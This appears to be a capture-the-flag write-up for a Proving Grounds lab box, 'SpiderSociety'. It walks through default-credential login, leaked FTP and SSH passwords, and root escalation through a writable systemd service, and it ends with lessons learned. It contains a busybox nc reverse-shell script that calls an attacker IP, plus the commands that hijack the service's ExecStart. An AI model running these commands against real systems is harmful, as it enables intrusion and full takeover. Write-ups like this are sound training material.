SpiderSociety
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Admin panel with defaultadmin/adminthat leaks FTP credentials in a modal ("New Message from Tech Dept"); FTP on 2121/TCP holds a copy of the web root withfetch_credentials.phppointing at a long "hidden" endpoint that exposes thespideySSH credentials; escalation via badly scoped systemd service (spiderbackup.servicewith anExecStartwritable by its owner plusdaemon-reload/restartin sudoers).
Recon
Initial scan
A full port scan opens three ports, including an FTP on a non-standard port:
ping -c 1 192.168.191.214 # ttl=61 → Linux
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.191.214PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2121/tcp open ftpnmap -p22,80,2121 -sCV 192.168.191.214PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9
80/tcp open http Apache httpd 2.4.58 (title: Spider Society)
2121/tcp open ftp vsftpd 3.0.5The 2121 FTP with vsftpd 3.0.5 is the first tell: it is not a standard port and typically means a second instance for a specific role (a backup, an internal endpoint).
HTTP - subdomain and paths
The homepage carries an email with a domain: spidersociety.offsec.lab. Add it to /etc/hosts and enumerate routes:
dirsearch -u http://spidersociety.offsec.lab --exclude-status=404,403,503 -t 200 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txtTwo useful paths: /images/ and /libspider/. The latter hosts the admin panel.
Shell as spidey
Default credentials → FTP in a modal
/libspider/index.php accepts admin/admin without pushback.

Right after login a "New Message from Tech Dept" modal pops up with cleartext FTP credentials for a backup user. Classic embedded credentials in full view.

Username: ss_ftpbckuser
Password: ss_WeLoveSpiderSociety_From_Tech_Dept5937!FTP 2121 - recursive download
wget -r ftp:// fetches the whole FTP: a backup of libspider/ with PHP source including fetch_credentials.php.
wget -r ftp://'ss_ftpbckuser':'ss_WeLoveSpiderSociety_From_Tech_Dept5937!'@'spidersociety.offsec.lab':2121/
404.html images index.html libspider simple.py
libspider:
control-panel.php fetch-credentials.php index.php login.php logout.php users.phpfetch_credentials.php → hidden endpoint with SSH
fetch_credentials.php does not carry secrets itself, but reveals a "hidden" URL (a long random-looking basename, security through obscurity) where the server keeps .env-style variables with the SSH credentials.

curl http://spidersociety.offsec.lab/libspider/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv
# DB_CONNECT_USER=spidey
# DB_CONNECT_PASS=WithGreatPowerComesGreatSecurity99!A hidden endpoint protects nothing: dirsearch with the right wordlist finds it, or (as here) the source itself reveals the path.
sshpass -p 'WithGreatPowerComesGreatSecurity99!' ssh spidey@192.168.191.214
spidey@spidersociety:~$ cat local.txt
6731e8d5ae04cc7cfcca081e5d3ed86f
Privilege Escalation
spiderbackup.service - spidey-owned ExecStart + sudo restart
sudo -l paints the misconfigured writable systemd service pattern in full:
(ALL) NOPASSWD: /bin/systemctl restart spiderbackup.service
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) !/bin/bash, !/bin/sh, !/bin/su, !/usr/bin/sudoThe unit file /etc/systemd/system/spiderbackup.service is owned by spidey (rw), runs as root, and its ExecStart=/usr/local/bin/spiderbackup.sh is the line to tamper with. Since the user has restart and daemon-reload in sudo without a password, they can edit the unit file, reload and start the service: the new ExecStart runs as root.

Before triggering the shell, we set up an nc listener:
nc -nlvp 5555# drop the new script (anything you want, here a revshell)
cat > /tmp/privesc.sh <<'EOF'
#!/bin/bash
busybox nc 192.168.45.201 5555 -e bash
EOF
chmod +x /tmp/privesc.sh
# point the unit file at the new script
sed -i 's|ExecStart=/usr/local/bin/spiderbackup.sh|ExecStart=/tmp/privesc.sh|' \
/etc/systemd/system/spiderbackup.service
sudo /bin/systemctl daemon-reload
sudo /bin/systemctl restart spiderbackup.serviceAside: the sudoers !/bin/bash items are cosmetic here; the ExecStart runs as root without ever going through sudo, so the deny list is bypassed by design.

-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
bash-5.2# whoami
rootProof.txt
bash-5.2# cat /root/proof.txt
0dafd69cc0d0033a2df72d2201d924a1
Automating the whole chain
The entire sequence (default login on /libspider/, the FTP credentials in the modal, the recursive download, fetch_credentials.php, SSH and the sudo service restart) fits in a script. Nothing here hangs on a human decision, so it goes straight to a root shell:
python3 spidersociety_autopwn.py <victim-ip> <attacker-ip> <port>
[*] Waiting for reverse shell ...
listening on [any] 1111 ...
connect to [192.168.45.155] from (UNKNOWN) [192.168.134.214] 48584
whoami
root
cat /root/proof.txt && whoami && ip a && hostname
c8b0352dcdada63661b74c45c3d06a44
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
inet 127.0.0.1/8 scope host lo
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:9e:c3:fc brd ff:ff:ff:ff:ff:ff
inet 192.168.134.214/24 brd 192.168.134.255 scope global ens192
spidersocietyThe proof.txt does not match the manual run's because the box had been redeployed in between: on Proving Grounds the flags are regenerated on every deployment.
Attack chain
Home + /etc/hosts
└─ /libspider/ admin/admin (default)
└─ FTP modal -> ss_ftpbckuser / ss_WeLoveSpiderSociety_From_Tech_Dept5937!
└─ FTP :2121 -> wget -r -> fetch_credentials.php
└─ .fuhfjkz...env -> spidey / WithGreatPowerComesGreatSecurity99!
└─ SSH -> local.txt
└─ sudo -l -> daemon-reload + restart spiderbackup.service
└─ ExecStart owned by spidey -> /tmp/privesc.sh -> rootLessons learned
- Default credentials remain vector zero. Any deployment on a
*.labdomain that keepsadmin/adminis on the operator. - A modal, a tooltip or a
console.logwith credentials is the same leak surface: audit them like the rest. - Security through obscurity (long random endpoints) does not survive a source review: whoever reads the code reads the path.
- A systemd unit file with an owner-writable
ExecStartplus a sudo rule forrestarton that same service is a direct escalation. The unit file's owner is the effective new root. sudo -lwith!/bin/bash, !/bin/sh, ...is a cosmetic mitigation if the allowed binary can alter privileged behavior without spawning a shell; rewritingExecStartbypasses that list entirely.